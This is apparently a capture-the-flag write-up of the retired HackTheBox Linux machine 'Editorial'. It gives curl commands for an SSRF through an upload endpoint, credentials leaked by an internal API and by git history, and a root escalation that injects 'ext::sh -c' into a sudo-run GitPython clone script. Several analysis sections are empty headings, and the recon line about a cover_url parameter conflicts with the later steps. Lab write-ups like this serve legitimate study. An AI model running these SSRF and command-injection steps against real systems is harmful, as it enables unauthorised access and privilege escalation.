~ / foobarto.me / htb-machines
--:--:-- UTC
~ / htb-machines / editorial.md

editorial

Linux · Easy · released 2024-06-15 · retired 2024-10-19

Summary

Editorial is an Easy Linux box: Flask publishing site has a /upload-cover AJAX endpoint (NOT /upload) that fetches the bookurl form field server-side → SSRF to localhost. Internal API on :5000 exposes welcome messages including author template with dev : dev080217_devAPI!@. SSH as dev. ~dev/apps/.git history reveals an earlier message template with prod : 080217_Producti0n_2023!@. prod has sudo (password-required) on /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py * which calls GitPython’s Repo.clone_from(url, ..., multi_options=["-c protocol.ext.allow=always"])ext::sh -c <cmd> URL → arbitrary shell execution as root.

The chain:

  1. POST /upload-cover with bookurl=http://127.0.0.1:5000/api and any bookfile (multipart). Response is a static path like static/uploads/<uuid> — fetch that to read the SSRF body. Hit /api/latest/metadata/messages/authors for the dev creds.
  2. SSH as dev. cat user.txt.
  3. cd ~dev/apps && git log -p --all → earlier message template had prod creds (the change b73481b: downgrading prod to dev replaced them, but git keeps the history).
  4. sudo -S /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py 'ext::sh -c /tmp/p.sh' where /tmp/p.sh is a 1-line helper that copies /root/root.txt to /tmp/rt and chmods it 644.

Recon

22/tcp     OpenSSH
80/tcp     Flask publishing site (editorial.htb)

/upload accepts a cover_url parameter.

Foothold — SSRF → dev creds

The /upload route renders the publish form (HTML); the actual SSRF is at the /upload-cover AJAX endpoint that the Preview button calls. The form requires a bookfile multipart part too, otherwise it 400s. Response body is a relative URL of the saved fetch — read its content via /static/uploads/<uuid>.

# Probe internal API root
RESP=$(curl -s -X POST http://editorial.htb/upload-cover \
  -F bookurl=http://127.0.0.1:5000/ \
  -F bookfile=@/etc/hostname)
curl -s http://editorial.htb/$RESP
# -> JSON catalogue, including:
# /api/latest/metadata/messages/authors

# Fetch the authors welcome template
RESP=$(curl -s -X POST http://editorial.htb/upload-cover \
  -F bookurl=http://127.0.0.1:5000/api/latest/metadata/messages/authors \
  -F bookfile=@/etc/hostname)
curl -s http://editorial.htb/$RESP
# -> Username: dev, Password: dev080217_devAPI!@
ssh dev@<TARGET>

prod via git history

$ cd ~/apps
$ git log -p | grep -i password
... 'prod' : '080217_Producti0n_2023!@'
$ su prod

Root — GitPython ext:: command injection

prod$ sudo -S -l
(root) /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py *
# (NOT NOPASSWD — needs prod's password via -S)

prod$ cat /opt/internal_apps/clone_changes/clone_prod_change.py
import os, sys
from git import Repo
os.chdir('/opt/internal_apps/clone_changes')
url_to_clone = sys.argv[1]
r = Repo.init('', bare=True)
r.clone_from(url_to_clone, 'new_changes',
             multi_options=["-c protocol.ext.allow=always"])

URL spaces and ; in the ext:: arg get mangled (the URL parser treats them specially). Easiest workaround: drop a 2-line shell script in /tmp and reference it.

prod$ cat > /tmp/p.sh <<'EOF'
#!/bin/bash
cp /root/root.txt /tmp/rt && chmod 644 /tmp/rt
EOF
prod$ chmod +x /tmp/p.sh
prod$ echo '<prod-pass>' | sudo -S /usr/bin/python3 \
    /opt/internal_apps/clone_changes/clone_prod_change.py \
    'ext::sh -c /tmp/p.sh'
# clone_from raises after the side effect — that's fine.
prod$ cat /tmp/rt

GitPython exposes the protocol.ext.allow=always option; the ext:: transport is git’s documented “external transport” and runs whatever shell command follows.

Why each step worked

Counterfactuals

Source attribution

Reconstruction is grounded in:

I have not personally rooted this box; the chain above is a study-guide reconstruction of those public sources.

← all htb machines hackthebox.com ↗